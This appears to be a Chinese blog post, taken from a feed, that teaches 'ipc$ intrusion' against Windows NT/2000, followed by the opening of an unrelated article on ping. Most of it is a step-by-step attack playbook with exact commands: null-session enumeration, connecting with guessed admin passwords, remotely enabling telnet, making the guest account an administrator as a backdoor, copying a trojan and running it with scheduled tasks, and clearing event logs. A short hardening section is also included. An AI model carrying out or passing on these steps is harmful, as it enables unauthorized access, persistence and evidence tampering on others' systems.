前言<BR><BR>网上关于ipc$入侵的文章可谓多如牛毛，而且也不乏优秀之作，攻击步骤甚至可以说已经成为经典的模式，因此也没人愿意再把这已经成为定式的东西拿出来摆弄。<BR>不过话虽这样说，但我个人认为这些文章讲解的并不详细，对于第一次接触ipc$的菜鸟来说，简单的罗列步骤并不能解答他们的种种迷惑（你随便找一个hack论坛搜一下ipc$，看看存在的疑惑有多少）。因此我参考了网上的一些资料，教程以及论坛帖子，写了这篇总结性质的文章，想把一些容易混淆，容易迷惑人的问题说清楚，让大家不要总徘徊在原地!<BR>注意：本文所讨论的各种情况均默认发生在win NT/2000环境下，win98将不在此次讨论之列，而鉴于win Xp在安全设置上有所提高，个别操作并不适用，有机会将单独讨论。<BR><BR>二 什么是ipc$<BR><BR>IPC$(Internet Process Connection)是共享"命名管道"的资源，它是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能，它有一个特点，即在同一时间内，两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时，在初次安装系统时还打开了默认共享，即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。所有的这些，微软的初衷都是为了方便管理员的管理，但在有意无意中，导致了系统安全性的降低。<BR>平时我们总能听到有人在说ipc$漏洞，ipc$漏洞，其实ipc$并不是一个真正意义上的漏洞,我想之所以有人这么说，一定是指微软自己安置的那个‘后门’：空会话（Null session）。那么什么是空会话呢？<BR><BR>三 什么是空会话<BR><BR>在介绍空会话之前，我们有必要了解一下一个安全会话是如何建立的。<BR>在Windows NT 4.0中是使用挑战响应协议与远程机器建立一个会话的，建立成功的会话将成为一个安全隧道，建立双方通过它互通信息，这个过程的大致顺序如下： <BR>1）会话请求者（客户）向会话接收者（服务器）传送一个数据包，请求安全隧道的建 <BR>立； <BR>2）服务器产生一个随机的64位数（实现挑战）传送回客户； <BR>3）客户取得这个由服务器产生的64位数，用试图建立会话的帐号的口令打乱它，将结 <BR>果返回到服务器（实现响应）； <BR>4）服务器接受响应后发送给本地安全验证（LSA），LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号，核实本地发生；如果请求的帐号是一个域的帐号，响应传送到域控制器去核实。当对挑战的响应核实为正确后，一个访问令牌产生，然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终止。<BR>以上是一个安全会话建立的大致过程，那么空会话又如何呢？<BR><BR>空会话是在没有信任的情况下与服务器建立的会话（即未提供用户名与密码），但根据WIN2000的访问控制模型，空会话的建立同样需要提供一个令牌，可是空会话在建立过程中并没有经过用户信息的认证，所以这个令牌中不包含用户信息，因此，这个会话不能让系统间发送加密信息，但这并不表示空会话的令牌中不包含安全标识符SID（它标识了用户和所属组），对于一个空会话，LSA提供的令牌的SID是S-1-5-7，这就是空会话的SID，用户名是：ANONYMOUS LOGON（这个用户名是可以在用户列表中看到的，但是是不能在SAM数据库中找到，属于系统内置的帐号），这个访问令牌包含下面伪装的组： <BR>Everyone <BR>Network<BR>在安全策略的限制下，这个空会话将被授权访问到上面两个组有权访问到的一切信息。那么建立空会话到底可以作什么呢？ <BR><BR>四 空会话可以做什么 <BR><BR>对于NT，在默认安全设置下，借助空连接可以列举目标主机上的用户和共享，访问everyone权限的共享，访问小部分注册表等，并没有什么太大的利用价值；对2000作用更小，因为在Windows 2000 和以后版本中默认只有管理员和备份操作员有权从网络访问到注册表，而且实现起来也不方便，需借助工具。从这些我们可以看到，这种非信任会话并没有多大的用处，但从一次完整的ipc$入侵来看，空会话是一个不可缺少的跳板，因为我们从它那里可以得到户列表，这对于一个老练的黑客已经足够了。以下是空会话中能够使用的具体命令：<BR><BR>1 首先，我们先建立一个空会话（需要目标开放ipc$）<BR>命令：net use \\ip\ipc$ "" /user:""<BR>注意：上面的命令包括四个空格，net与use中间有一个空格，use后面一个，密码左右各一个空格。<BR><BR>2 查看远程主机的共享资源<BR>命令：net view \\IP <BR>解释：建立了空连接后，用此命令可以查看远程主机的共享资源，如果它开了共享，可以得到如下类似类似结果：<BR>在 \\*.*.*.*的共享资源<BR>资源共享名 类型 用途 注释<BR>-----------------------------------------------------------<BR>NETLOGON Disk Logon server share<BR>SYSVOL Disk Logon server share<BR>命令成功完成。<BR><BR>3 查看远程主机的当前时间<BR>命令：net time \\IP <BR>解释：用此命令可以得到一个远程主机的当前时间。<BR><BR>4 得到远程主机的NetBIOS用户名列表（需要打开自己的NBT）<BR>nbtstat -A IP <BR>用此命令可以得到一个远程主机的NetBIOS用户名列表（需要你的netbios支持），返回如下结果：<BR><BR>Node IpAddress: [*.*.*.*] Scope Id: []<BR><BR>NetBIOS Remote Machine Name Table<BR><BR>Name Type Status<BR>---------------------------------------------<BR>SERVER &lt;00&gt; UNIQUE Registered<BR>OYAMANISHI-H &lt;00&gt; GROUP Registered<BR>OYAMANISHI-H &lt;1C&gt; GROUP Registered<BR>SERVER &lt;20&gt; UNIQUE Registered<BR>OYAMANISHI-H &lt;1B&gt; UNIQUE Registered<BR>OYAMANISHI-H &lt;1E&gt; GROUP Registered<BR>SERVER &lt;03&gt; UNIQUE Registered<BR>OYAMANISHI-H &lt;1D&gt; UNIQUE Registered<BR>..__MSBROWSE__.&lt;01&gt; GROUP Registered<BR>INet~Services &lt;1C&gt; GROUP Registered<BR>IS~SERVER......&lt;00&gt; UNIQUE Registered<BR><BR>MAC Address = 00-50-8B-9A-2D-37<BR><BR>以上就是我们经常使用空会话做的事情，好像也能获得不少东西哟，不过要注意一点：建立IPC$连接的操作会在EventLog中留下记录，不管你是否登录成功。 好了，那么下面我们就来看看ipc$所使用的端口是什么？<BR><BR>五 ipc$所使用的端口<BR><BR>首先我们来了解一些基础知识：<BR>1 SMB:(Server Message Block) Windows协议族，用于文件打印共享的服务；<BR>2 NBT:(NETBios Over TCP/IP)使用137（UDP）138（UDP）139（TCP）端口实现基于TCP/IP协议的NETBIOS网络互联。<BR>3 在WindowsNT中SMB基于NBT实现，而在Windows2000中，SMB除了基于NBT实现，还可以直接通过445端口实现。<BR><BR>有了这些基础知识，我们就可以进一步来讨论访问网络共享对端口的选择了：<BR><BR>对于win2000客户端来说：<BR>1 如果在允许NBT的情况下连接服务器时，客户端会同时尝试访问139和445端口，如果445端口有响应，那么就发送RST包给139端口断开连接，用455端口进行会话，当445端口无响应时，才使用139端口，如果两个端口都没有响应，则会话失败；<BR>2 如果在禁止NBT的情况下连接服务器时，那么客户端只会尝试访问445端口，如果445端口无响应，那么会话失败。由此可见，禁止了NBT后的win 2000对win NT的共享访问将会失败。<BR><BR>对于win2000服务器端来说：<BR>1 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放；<BR>2 如果禁止NBT，那么只有445端口开放。<BR><BR>我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见，如果远程服务器没有监听139或445端口，ipc$会话是无法建立的。<BR><BR>六 ipc$连接在hack攻击中的意义<BR><BR>就像上面所说的，即使你建立了一个空的连接，你也可以获得不少的信息（而这些信息往往是入侵中必不可少的），如果你能够以某一个具有一定权限的用户身份登陆的话，那么你就会得到相应的权限，显然，如果你以管理员身份登陆,嘿嘿,那你可就了不得了，基本上可以为所欲为了。不过你也不要高兴的太早，因为管理员的密码不是那么好搞到的，虽然会有一些粗心的管理员存在弱口令，但这毕竟是少数，而且现在不比从前了，随着人们安全意识的提高，管理员们也愈加小心了，得到管理员密码将会越来越难的，因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接，甚至在主机不开启ipc$共享时，你根本就无法连接，你会慢慢的发现ipc$连接并不是万能的，所以不要奢望每次连接都能成功，那是不现实的。<BR>是不是有些灰心？倒也不用,关键是我们要摆正心态，不要把ipc$入侵当作终极武器，不要认为它战无不胜,它只是很多入侵方法中的一种，你有可能利用它一击必杀，也有可能一无所获，这些都是正常的，在黑客的世界里，不是每条大路都能通往罗马，但总有一条路会通往罗马，耐心的寻找吧！<BR><BR>七 ipc$连接失败的常见原因<BR><BR>以下是一些常见的导致ipc$连接失败的原因：<BR><BR>1 IPC连接是Windows NT及以上系统中特有的功能，由于其需要用到Windows NT中很多DLL函数，所以不能在Windows 9.x/Me系统中运行，也就是说只有nt/2000/xp才可以相互建立ipc$连接，98/me是不能建立ipc$连接的；<BR><BR>2 如果想成功的建立一个ipc$连接，就需要对方开启ipc$共享，即使是空连接也是这样，如果对方关闭了ipc$共享，你将会建立失败；<BR><BR>3 你未启动Lanmanworkstation服务，它提供网络链结和通讯，没有它你无法发起连接请求（显示名为：Workstation）；<BR><BR>4 对方未启动Lanmanserver服务，它提供了 RPC 支持、文件、打印以及命名管道共享，ipc$依赖于此服务，没有它远程主机将无法响应你的连接请求（显示名为：Server）；<BR><BR>5 对方未启动NetLogon，它支持网络上计算机 pass-through 帐户登录身份；<BR><BR>6 对方禁止了NBT（即未打开139端口）；<BR><BR>7 对方防火墙屏蔽了139和445端口；<BR><BR>8 你的用户名或者密码错误（显然空会话排除这种错误）；<BR><BR>9 命令输入错误：可能多了或少了空格，当用户名和密码中不包含空格时两边的双引号可以省略，如果密码为空，可以直接输入两个引号""即可；<BR><BR>10 如果在已经建立好连接的情况下对方重启计算机，那么ipc$连接将会自动断开，需要重新建立连接。 <BR><BR>另外,你也可以根据返回的错误号分析原因： <BR>错误号5，拒绝访问：很可能你使用的用户不是管理员权限的，先提升权限； <BR>错误号51，Windows无法找到网络路径：网络有问题； <BR>错误号53，找不到网络路径：ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）； <BR>错误号67，找不到网络名：你的lanmanworkstation服务未启动或者目标删除了ipc$； <BR>错误号1219，提供的凭据与已存在的凭据集冲突：你已经和对方建立了一个ipc$，请删除再连； <BR>错误号1326，未知的用户名或错误密码：原因很明显了； <BR>错误号1792，试图登录，但是网络登录服务没有启动：目标NetLogon服务未启动；<BR>错误号2242，此用户的密码已经过期：目标有帐号策略，强制定期要求更改密码。 <BR><BR>八 复制文件失败的原因<BR><BR>有些朋友虽然成功的建立了ipc$连接，但在copy时却遇到了这样那样的麻烦，无法复制成功，那么导致复制失败的常见原因又有哪些呢？<BR><BR>1 盲目复制<BR>这类错误出现的最多，占到50%以上。许多朋友甚至都不知道对方是否有共享文件夹，就进行盲目复制，结果导致复制失败而且郁闷的很。因此我建议大家在进行复制之前务必用net view \\IP这个命令看一下对方的共享情况，不要认为ipc$连接建立成功了就一定有共享文件夹。<BR><BR>2 默认共享判断错误<BR>这类错误也是大家经常犯的，主要有两个小方面：<BR><BR>1）错误的认为能建立ipc$连接的主机就一定开启了默认共享，因而在建立完连接之后马上向admin$之类的默认共享复制文件，导致复制失败。ipc$连接成功只能说明对方打开了ipc$共享，ipc$共享与默认共享是两码事，ipc$共享是一个命名管道，并不是哪个实际的文件夹，而默认共享并不是ipc$共享的必要条件；<BR><BR>2）由于net view \\IP 无法显示默认共享（因为默认共享带$），因此通过这个命令，我们并不能判断对方是否开启了默认共享，因此如果对方未开启默认共享，那么所有向默认共享进行的操作都不能成功；（不过大部分扫描软件在扫弱口令的同时，都能扫到默认共享目录，可以避免此类错误的发生）<BR><BR>3用户权限不够，包括四种情形：<BR>1）空连接向所有共享（默认共享和普通共享）复制时，大多情况下权限是不够的；<BR>2）向默认共享复制时，要具有管理员权限；<BR>3）向普通共享复制时，要具有相应权限（即对方事先设定的访问权限）；<BR>4）对方可以通过防火墙或安全软件的设置，禁止外部访问共享；<BR><BR>还需要说明一点：不要认为administrator就一定是管理员，管理员名称是可以改的。<BR><BR>4被防火墙杀死或在局域网<BR>也许你的复制操作已经成功，但当远程运行时，被防火墙杀掉了，导致找不到文件；还有可能你把木马复制到了局域网内的主机，导致连接失败。因此建议你复制时要小心，否则就前功尽弃了。<BR><BR><BR>呵呵，大家也知道，ipc$连接在实际操作过程中会出现千奇百怪的问题，上面我所总结的只是一些常见错误，没说到的，只能让大家自己去体会了。<BR><BR>九 如何打开目标的IPC$共享以及其他共享<BR><BR>目标的ipc$不是轻易就能打开的，否则就要天下打乱了。你需要一个admin权限的shell,比如telnet,木马等，然后在shell下执行net share ipc$来开放目标的ipc$，用net share ipc$ /del来关闭共享。如果你要给它开共享文件夹，你可以用net share baby=c:\，这样就把它的c盘开为共享名为baby共享了。<BR><BR>十 一些需要shell才能完成的命令<BR><BR>看到很多教程这方面写的十分不准确，一些需要shell才能完成命令就简简单单的在ipc$连接下执行了，起了误导作用。那么下面我总结一下需要在shell才能完成的命令：<BR><BR>1 向远程主机建立用户，激活用户，修改用户密码，加入管理组的操作需要在shell下完成；<BR><BR>2 打开远程主机的ipc$共享，默认共享，普通共享的操作需要在shell下完成；<BR><BR>3 运行/关闭远程主机的服务，需要在shell下完成；<BR><BR>4 启动/杀掉远程主机的进程，也需要在shell下完成。<BR><BR><BR>十一 入侵中可能会用到的相关命令<BR><BR>请注意命令适用于本地还是远程，如果适用于本地，你只能在获得远程主机的shell后，才能向远程主机执行。<BR><BR>1 建立空连接:<BR>net use \\IP\ipc$ "" /user:"" <BR><BR>2 建立非空连接:<BR>net use \\IP\ipc$ "psw" /user:"account" <BR><BR>3 查看远程主机的共享资源（但看不到默认共享）<BR>net view \\IP <BR><BR>4 查看本地主机的共享资源（可以看到本地的默认共享）<BR>net share<BR><BR>5 得到远程主机的用户名列表<BR>nbtstat -A IP <BR><BR>6 得到本地主机的用户列表<BR>net user<BR><BR>7 查看远程主机的当前时间<BR>net time \\IP <BR><BR>8 显示本地主机当前服务<BR>net start <BR><BR>9 启动/关闭本地服务<BR>net start 服务名 /y<BR>net stop 服务名 /y<BR><BR>10 映射远程共享:<BR>net use z: \\IP\baby<BR>此命令将共享名为baby的共享资源映射到z盘 <BR><BR>11 删除共享映射<BR>net use c: /del 删除映射的c盘，其他盘类推 <BR>net use * /del /y删除全部<BR><BR>12 向远程主机复制文件<BR>copy \路径\srv.exe \\IP\共享目录名，如：<BR>copy ccbirds.exe \\*.*.*.*\c 即将当前目录下的文件复制到对方c盘内<BR><BR>13 远程添加计划任务<BR>at \\ip 时间 程序名，如：<BR>at \\127.0.0.0 11:00 love.exe<BR>注意：时间尽量使用24小时制；在系统默认搜索路径（比如system32/）下不用加路径，否则必须加全路径<BR><BR>14 开启远程主机的telnet<BR>这里要用到一个小程序：opentelnet.exe，各大下载站点都有，而且还需要满足四个要求：<BR><BR>1）目标开启了ipc$共享<BR>2）你要拥有管理员密码和帐号<BR>3）目标开启RemoteRegistry服务，用户就该ntlm认证<BR>4）对WIN2K/XP有效，NT未经测试<BR>命令格式：OpenTelnet.exe \\server account psw NTLM认证方式 port<BR>试例如下：c:\&gt;OpenTelnet.exe \\*.*.*.* administrator "" 1 90<BR><BR>15 激活用户/加入管理员组<BR>1 net uesr account /active:yes<BR>2 net localgroup administrators account /add <BR><BR>16 关闭远程主机的telnet<BR>同样需要一个小程序：ResumeTelnet.exe<BR>命令格式：ResumeTelnet.exe \\server account psw<BR>试例如下：c:\&gt;ResumeTelnet.exe \\*.*.*.* administrator ""<BR><BR>17 删除一个已建立的ipc$连接<BR>net use \\IP\ipc$ /del <BR><BR>（本教程不定期更新，欲获得最新版本，请登陆官方网站：菜菜鸟社区原创<A href="http://ccbirds.yeah.net/"><FONT face="times new roman,times,serif">http://ccbirds.yeah.net</FONT></A><FONT face="times new roman,times,serif">）<BR><BR>十二 ipc$完整入侵步骤祥解<BR><BR>其实入侵步骤随个人爱好有所不同，我就说一下常见的吧，呵呵，献丑了！<BR><BR>1 用扫描软件搜寻存在若口令的主机，比如流光，SSS，X-scan等，随你的便，然后锁定目标，如果扫到了管理员权限的口令，你可以进行下面的步骤了，假设你现在得到了administrator的密码为空<BR><BR>2 此时您有两条路可以选择：要么给对方开telnet（命令行）,要么给它传木马（图形界面），那我们就先走telnet这条路吧<BR><BR>3上面开telnet的命令没忘吧，要用到opentelnet这个小程序<BR>c:\&gt;OpenTelnet.exe \\192.168.21.* administrator "" 1 90<BR>如果返回如下信息<BR>*******************************************************<BR>Remote Telnet Configure, by refdom<BR>Email: refdom@263.net<BR>OpenTelnet.exe<BR><BR>Usage:OpenTelnet.exe \\server username password NTLMAuthor telnetport<BR>*******************************************************<BR>Connecting \\192.168.21.*...Successfully!<BR><BR>NOTICE!!!!!!<BR>The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23<BR><BR>Starting telnet service...<BR>telnet service is started successfully! telnet service is running!<BR><BR>BINGLE!!!Yeah!!<BR>Telnet Port is 90. You can try:"telnet ip 90", to connect the server!<BR>Disconnecting server...Successfully!<BR>*说明你已经打开了一个端口90的telnet。<BR><BR>4 现在我们telnet上去<BR>telnet 192.168.21.* 90<BR>如果成功，你将获得远程主机的一个shell,此时你可以像控制自己的机器一样控制你的肉鸡了，那么做点什么呢？把guest激活再加入管理组吧，就算留个后门了<BR><BR>5 C:\&gt;net user guest /active:yes <BR>*将Guest用户激活，也有可能人家的guest本来就试活的，你可以用net user guest看一下它的帐户启用的值是yes还是no<BR><BR>6 C:\&gt;net user guest 1234 <BR>*将Guest的密码改为1234,或者改成你喜欢的密码<BR><BR>7 C:\&gt;net localgroup administrators guest /add <BR>*将Guest变为Administrator，这样，即使以后管理员更改了他的密码，我们也可以用guest登录了，不过也要提醒您，因为通过安全策略的设置，可以禁止guest等帐户的远程访问，呵呵，如果真是这样，那我们的后门也就白做了，愿上帝保佑Guest。<BR><BR><BR>8 好了，现在我们来走另一条路，给它传个木马玩玩<BR><BR>9 首先，我们先建立起ipc$连接<BR>C:\&gt;net use \\192.168.21.*\ipc$ "" /user:administrator<BR><BR><BR>10 既然要上传东西，就要先知道它开了什么共享<BR>C:\&gt;net view \\192.168.21.*<BR>在 \\192.168.21.*的共享资源<BR>资源共享名 类型 用途 注释<BR><BR>-----------------------------------------------------------<BR>C Disk <BR>D Disk <BR>命令成功完成。<BR>*好了，我们看到对方共享了C,D两个盘，我们下面就可以向任意一个盘复制文件了。再次声明，因为用net view命令无法看到默认共享，因此通过上面返回的结果，我们并不能判断对方是否开启了默认共享。<BR><BR>11 C:\&gt;copy love.exe \\192.168.21.*\c <BR>已复制 1 个文件<BR>*用这个命令你可以将木马客户端love.exe传到对方的c盘下，当然，如果能复制到系统文件夹下是最好的了，不容易被发现<BR><BR>12 运行木马前，我们先看看它现在的时间<BR>net time \\192.168.21.*<BR>\\192.168.21.*的当前时间是 2003/8/22 上午 11:00<BR>命令成功完成<BR><BR>13 现在我们用at运行它吧，不过对方一定要开了Task Scheduler服务（允许程序在指定时间运行），否则就不行了<BR>C:\&gt;at \\192.168.21.* 11:02 c:\love.exe <BR>新加了一项作业，其作业 ID = 1<BR><BR>14 剩下就是等了，等过了11:02，你就可以用控制端去连接了，如果成功你将可以用图形界面去控制远程主机了，如果连接失败，那么它可能在局域网里，也可能程序被防火墙杀了，还可能它下线了（没这么巧吧），无论哪种情况你只好放弃了<BR><BR>嗯，好了，两种基本方法都讲了。如果你对上面的操作已经轻车熟路了，也可以用更高效的套路，比如用CA克隆guest，用psexec执行木马，用命令：psexec \\tergetIP -u user -p paswd cmd.exe直接获得shell等，这些都是可以得，随你的便。不过最后不要忘了把日志清理干净，可以用榕哥的elsave.exe。<BR>讲了ipc$的入侵，就不能不说如何防范，那么具体要怎样做呢？看下面<BR><BR>十三 如何防范ipc$入侵<BR><BR>1 禁止空连接进行枚举(此操作并不能阻止空连接的建立)<BR><BR>方法1：<BR>运行regedit，找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为：1<BR>如果设置为"1"，一个匿名用户仍然可以连接到IPC$共享，但限制通过这种连接得到列举SAM帐号和共享等信息；在Windows 2000 中增加了"2"，限制所有匿名访问除非特别授权，如果设置为2的话,可能会有一些其他问题发生，建议设置为1。如果上面所说的主键不存在，就新建一个再改键值。 <BR><BR>方法2：<BR>在本地安全设置－本地策略－安全选项－在'对匿名连接的额外限制'中做相应设置<BR><BR>2 禁止默认共享<BR><BR>1）察看本地共享资源<BR>运行-cmd-输入net share<BR><BR>2）删除共享（重起后默认共享仍然存在）<BR>net share ipc$ /delete<BR>net share admin$ /delete<BR>net share c$ /delete<BR>net share d$ /delete（如果有e,f,……可以继续删除）<BR><BR>3）停止server服务<BR>net stop server /y （重新启动后server服务会重新开启）<BR><BR>4）禁止自动打开默认共享（此操作并未关闭ipc$共享） <BR>运行-regedit<BR><BR>server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer（DWORD）的键值改为:00000000。 <BR><BR>pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks（DWORD）的键值改为:00000000。 <BR>如果上面所说的主键不存在，就新建(右击-新建-双字节值）一个主健再改键值。 <BR>这两个键值在默认情况下在主机上是不存在的，需要自己手动添加。<BR><BR>3 关闭ipc$和默认共享依赖的服务:server服务<BR>控制面板-管理工具-服务-找到server服务（右击）-属性-常规-启动类型-选已禁用<BR>这时可能会有提示说：XXX服务也会关闭是否继续，因为还有些次要的服务要依赖于lanmanserver，不要管它。 <BR><BR>4 屏蔽139，445端口 <BR>由于没有以上两个端口的支持，是无法建立ipc$的，因此屏蔽139，445端口同样可以阻止ipc$入侵。<BR><BR>1）139端口可以通过禁止NBT来屏蔽<BR>本地连接－TCP/IT属性－高级－WINS－选‘禁用TCP/IT上的NETBIOS’一项<BR><BR>2）445端口可以通过修改注册表来屏蔽<BR>添加一个键值<BR>Hive: HKEY_LOCAL_MACHINE<BR>Key: System\Controlset\Services\NetBT\Parameters<BR>Name: SMBDeviceEnabled <BR>Type: REG_DWORD<BR>Value: 0<BR>修改完后重启机器<BR><BR>注意：如果屏蔽掉了以上两个端口，你将无法用ipc$入侵别人。 <BR><BR>3）安装防火墙进行端口过滤<BR><BR>5 设置复杂密码，防止通过ipc$穷举出密码。<BR><BR>十四 ipc$入侵问答精选<BR><BR>上面说了一大堆的理论东西，但在实际中你会遇到各种各样的问题，因此为了给予大家最大的帮助，我看好几个安全论坛，找了n多的帖子，从中整理了一些有代表性的问答，其中的一些答案是我给出的，一些是论坛上的回复，如果有什么疏漏和错误，还请包涵。<BR><BR>1.进行ipc$入侵的时候，会在服务器中留下记录，有什么办法可以不让服务器发现吗？<BR><BR>答：留下记录是一定的，你走后用程序删除就可以了，或者用肉鸡入侵。<BR><BR>2.你看下面的情况是为什么，可以连接但不能复制<BR>net use \\***.***.***.***\ipc$ "密码" /user:"用户名"<BR>命令成功<BR>copy icmd.exe \\***.***.***.***\admin$<BR>找不到网络路径<BR>命令不成功<BR><BR>答：可能有两个原因：<BR>1）你的权限不够，不能访问默认共享；<BR><BR>2）对方没有开启admin$默认共享，不要认为能进行ipc$连接，对方就一定开了默认共享（很多人都这么以为，误区！！），此时你可以试试别的默认共享或普通共享，比如c$,d$,c,d等，如果还是不行，就要看你的权限了，如果是管理员权限，你可以开telnet,如果能成功，在给它开共享也行。<BR><BR>3.如果对方开了IPC$，且能建立空联接，但打开C、D盘时，都要求密码，我知道是空连接没有太多的权限，但没别的办法了吗？<BR><BR>答：建议先用流光或者别的什么猜解一下密码，如果猜不出来，只能放弃，毕竟空连接的能力有限。<BR><BR>4.我已经猜解到了管理员的密码，且已经ipc$连接成功了，但net view \\ip发现它没开默认共享，我该怎么办？<BR><BR>答：首先纠正你的一个错误，用net view是无法看到默认共享的。既然你现在有管理员权限，而且对方又开了ipc$,建议你用opentelnet.exe这个小程序打开它的telent,在获得了这个shell之后，做什么都可以了。<BR><BR>5.ipc$连接成功后，我用下面的命令建立了一个帐户，却发现这个帐户在我自己的机器上，这是怎么回事？<BR>net uset ccbirds /add<BR><BR>答：ipc$建立成功只能说明你与远程主机建立了通信隧道，并不意味你取得了一个shell,只有在获得一个shell之后，你才能在远程建立一个帐户，否则你的操作只是在本地进行。<BR><BR>6.我已进入了一台肉机，用的管理员帐号，可以看他的系统时间，但是复制程序到他的机子上却不行，每次都提示“拒绝访问，已复制0个文件”，是不是对方有什么服务没开，我该怎么办？<BR><BR>答：不能copy文件有多个可能，除了权限不够外，还可能是对方c$,d$等默认管理共享没开，或者是对方为NTFS文件格式，通过设置，管理员也未必能远程写文件。既然你有管理员权限，那就开telnet上去吧，然后在开它的共享。<BR><BR>7.我用Win98能与对方建立ipc$连接吗？<BR><BR>答：不可以的，要进行ipc$的操作，建议用win2000<BR><BR>8.我用net use \\ip\ipc$ "" /user ""成功的建立了一个空会话，但用nbtstat -A IP 却无法导出用户列表，这是为什么？<BR><BR>答：空会话在默认的情况下是可以导出用户列表的，但如果管理员通过修改注册表来禁止导出列表，就会出现你所说的情况；或者你自己的NBT没有打开，netstat是建立在NBT之上的。　　<BR><BR>9.我建立ipc$连接的时候返回如下信息：‘提供的凭据与已存在的凭据集冲突’，怎么回事？<BR><BR>答：呵呵，这说明你与目标主机建立了一个以上的ipc$连接，这是不允许的，把其他的删掉吧：net use \\*.*.*.*\ipc$ /del<BR><BR>10.我在映射的时候出现：<BR>F:\&gt;net use h: \\211.161.134.*\e$<BR>系统发生 85 错误。<BR>本地设备名已在使用中。这是怎么回事？<BR><BR>答：你也太粗心了吧，这说明你的h盘正在使用，映射到别的盘符吧！<BR><BR>11.我建立了一个连接f:\&gt;net use \\*.*.*.*\ipc$ "123" /user:"ccbirds" 成功了，但当我映射时出现了错误，向我要密码，怎么回事？<BR>F:\&gt;net use h: \\*.*.*.*\c$<BR>密码在 \\*.*.*.*\c$ 无效。<BR>请键入 \\*.*.*.*\c$ 的密码:<BR>系统发生 5 错误。<BR>拒绝访问。<BR><BR>答：呵呵，向你要密码说明你当前使用的用户权限不够，不能映射C$这个默认共享，想办法提升权限或者找管理员的弱口令吧！默认共享一般是需要管理员权限的。<BR><BR>12.我用superscan扫到了一个开了139端口的主机，但为什么不能空连接呢？<BR><BR>答：你混淆了ipc$与139的关系，能进行ipc$连接的主机一定开了139或445端口，但开这两个端口的主机可不一定能空连接，因为对方可以关闭ipc$共享.<BR><BR>13.我门局域网里的机器大多都是xp，我用流光扫描到几个administrator帐号口令是空，而且可以连接，但不能复制东西，说错误5。请问为什么？<BR><BR>答：xp的安全性要高一些，在安全策略的默认设置中，对本地帐户的网络登录进行身份验证的时候，默认为来宾权限，即使你用管理员远程登录，也只具有来宾权限，因此你复制文件，当然是错误5：权限不够。<BR><BR>14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功，可是 net use i: \\192.168.0.2\c<BR>出现请键入 \\192.168.0.2 的密码，怎么回事情呢？<BR><BR>答：虽然你具有管理员权限，但管理员在设置c盘共享权限时可能并未设置允许administrator访问，所以会出现问题。<BR><BR>15.如果自己的机器禁止了ipc$, 是不是还可以用ipc连接别的机器？<BR><BR>答：可以的。</FONT><img src ="http://www.cnitblog.com/system-net/aggbug/5269.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/system-net/" target="_blank">System And Net</a> 2005-12-09 23:44 <a href="http://www.cnitblog.com/system-net/articles/5269.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>系统内置的4种网络测试工具!</title><link>http://www.cnitblog.com/system-net/articles/5265.html</link><dc:creator>System And Net</dc:creator><author>System And Net</author><pubDate>Fri, 09 Dec 2005 12:44:00 GMT</pubDate><guid>http://www.cnitblog.com/system-net/articles/5265.html</guid><wfw:comment>http://www.cnitblog.com/system-net/comments/5265.html</wfw:comment><comments>http://www.cnitblog.com/system-net/articles/5265.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/system-net/comments/commentRss/5265.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/system-net/services/trackbacks/5265.html</trackback:ping><description><![CDATA[<DIV class=postbody>作为一个网管，肯定会遇到各种各样的网络故障的困扰，然而一个庞大的网络，节点有时是四处分布，遍布整栋甚至于几栋或几个不同的地方，如没有网络测试工具那困难是可想而知的。当然肯定有专门的测试工具，一般是硬件，价格也相当昂贵，一个中小型企业或家庭一般是不太可能花如此巨资就为了解决这些网络故障。 
<P>　　其实在我的操作系统中也内置了一些非常有用的软件网络测试工具，如果能使用得当，并掌握一定的测试技巧一般来说是完全可以满足一般需求的，有的甚至被黑客作为黑客工具哩！这些工具虽然不能秒之为专业的黑客工具，修正有许多黑客工具软件也是基于这些内置的网络测试软件而编制、改写的。下面就这几个工具结合实例作一简介，希望对那些还未掌握这几种工具的朋友有一些帮助！</P>
<P>　　<STRONG>一、Ping</STRONG></P>
<P>　　相信玩过网络的人都会对“Ping”这个命令有所了解或耳闻。Ping命令是Windows9X/NT中集成的一个专用于TCP/IP协议的测试工具，ping命令是用于查看网络上的主机是否在工作，它是通过向该主机发送ICMP ECHO_REQUEST包进行测试而达到目的的。一般凡是应用TCP/IP协议的局域或广域网络，不管你是内部只有几台电脑的家庭、办公室局域网，还是校园网、企业网甚至Internet国际互联网络，当客户端与客户端之间无法正常进行访问或者网络工作出现各种不稳定的情况时，建议大家一定要先试试用Ping这个命令来测试一下网络的通信是否正常，多数时候是可以一次奏效的。</P>
<P>　　1．<STRONG>Ping命令的语法格式</STRONG></P>
<P>　　ping命令看似小小的一个工具，但它带有许多参数，要完全掌握它的使用方法还真不容易，要达到熟练使用则更是难下加难，但不管怎样我们还得来看看它的真面目，首先我们还是从最基本的命令格式入手吧！<BR><BR>ping命令的完整格式如下：</P>
<P>　　ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count][-s count] [[-j -Host list] | [-k Host-list]] [-w timeout] destination-list</P>
